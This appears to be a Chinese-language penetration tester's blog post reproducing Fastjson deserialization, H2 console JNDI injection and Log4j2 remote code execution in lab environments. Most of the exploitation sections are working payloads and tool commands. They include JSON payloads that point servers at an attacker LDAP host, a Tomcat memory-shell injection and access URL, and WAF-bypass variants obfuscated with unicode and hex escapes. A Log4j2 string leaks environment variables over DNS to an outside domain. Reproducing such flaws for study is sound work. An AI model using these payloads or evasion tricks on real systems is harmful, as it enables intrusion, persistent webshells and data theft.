前言
实际打点过程中遇到大量java网站，对遇到的相关漏洞进行复现和整理。
Fastjson 反序列化
漏洞简介
Fastjson 是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean 序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。
漏洞复现
参考诺言师傅的 Fastjson反序列化漏洞利用，下载Fatjson 1.2.24版本的war包部署在tomcat下即可。
复现时需要注意rmi、ldap协议对jdk版本的影响。
基于rmi的利用方式
适用jdk版本为：JDK 6u141、JDK 7u131、JDK 8u121之前。
在jdk8u122时，加入了反序列化白名单的机制，关闭了rmi远程加载代码。
基于ldap的利用方式
适用jdk版本为：JDK 11.0.1、JDK 8u182、JDK 7u191、JDK 6u201之前。
在Java 8u191时，Oracle发布了CVE-2018-3149，关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi更大，推荐使用ldap方法。
指纹
使用pmiaowu师傅开发的被动式扫描插件 https://github.com/pmiaowu/BurpFastJsonScan
利用方式
推荐https://github.com/Mr-xn/JNDIExploit-1 工具
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.0.101
在jdk-8u172 版本下，可以成功利用。
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.0.101:1389/Basic/Command/calc.exe","autoCommit":true}}
服务端：
也可以以回显的方式执行命令。
ldap://192.168.0.101:1389/Basic/TomcatEcho
注入内存马
ldap://192.168.0.101:1389/basic/TomcatMemshell2
访问内存马
http://10.211.55.5:8080/fastjson/anything?type=basic&pass=ipconfig
在jdk-8u261版本下，无法利用。
补充绕过WAF方式
{"e":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","d_a_t_a_S_o_u-r-c-eName":"ldap://192.168.0.101:1389/Basic/TomcatEcho","autoCommit":true}}
{"e":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c"},"f":{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","d_a_t_a_S_o_u-r-c-eName":"ldap://192.168.0.101:1389/Basic/TomcatEcho","autoCommit":true}}
H2 Database JNDI注入
漏洞简介
H2 database 是H2数据库自带的一个Web管理页面，如果配置了允许外部用户访问Web管理页面，我们就可以页面进行JNDI注入攻击。
漏洞复现
使用windows系统搭建h2数据库，下载安装h2数据库并解压运行。此时会在用户目录产生.h2.server.properties 文件，修改配置文件为允许远程访问即可。
webAllowOthers=true
也可以结合spring 框架使用。
指纹
title="h2 console"
利用方式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping -c 1 oms98d.dnslog.cn" -A 10.91.214.62
在Driver Class处填写：javax.naming.InitialContext 为JNDI 的工厂类，
在JDBC URL处填写： rmi://10.91.214.62:1099/zbt5cb 以上poc的其中一个。
点击connect连接测试，就可以成功收到dnslog。
也可以利用https://github.com/Mr-xn/JNDIExploit-1，执行系统命令。
同样是因为java版本问题导致某些poc无法利用成功。
Log4J2 远程代码执行
漏洞简介
Apache Log4j2 是一个基于Java的日志记录库。由于Log4j2内部实现JNDI（Java Naming and Directory Interface）协议，可通过注入JNDI脚本到客户端就能访问到LDAP服务端，LDAP服务端来实现远程代码执行。且只对error方法有效。
漏洞复现
使用IDEA创建maven项目，安装Log4J2 依赖。
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
编写测试代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class AppTest
{
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("This is error message.");
}
}
而Log4J2 支持这种表达式。
logger.error("${date:YYYY-MM-dd}");
logger.error("${java:os}");
logger.error("${env:PATH}");
恰恰该漏洞正是因为可以在错误日志中注入jndi协议导致的。
指纹
推荐 https://github.com/whwlsfb/Log4j2Scan 插件
利用方式
以vulfocus 环境为例
# 拉取漏洞环境
docker pull vulfocus/log4j2-rce-2021-12-09:latest
# 启动环境，将访问端口映射到本地8080端口
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
访问8080端口
使用dnslog测试log4J2漏洞
${jndi:dns://${env:PATH}.orznei.tencentnews.online}
url 编码后发送
证明存在该漏洞。
同样使用https://github.com/Mr-xn/JNDIExploit-1 工具，作为选择exp。
${jndi:ldap://192.168.0.101:1389/TomcatBypass/TomcatEcho}
url 编码后发送
可成功执行系统命令。
总结
复现了fastjson反序列化、H2 Database JNDI注入、Log4J2命令执行三个不同的漏洞，进一步熟悉了jndi的利用方式。
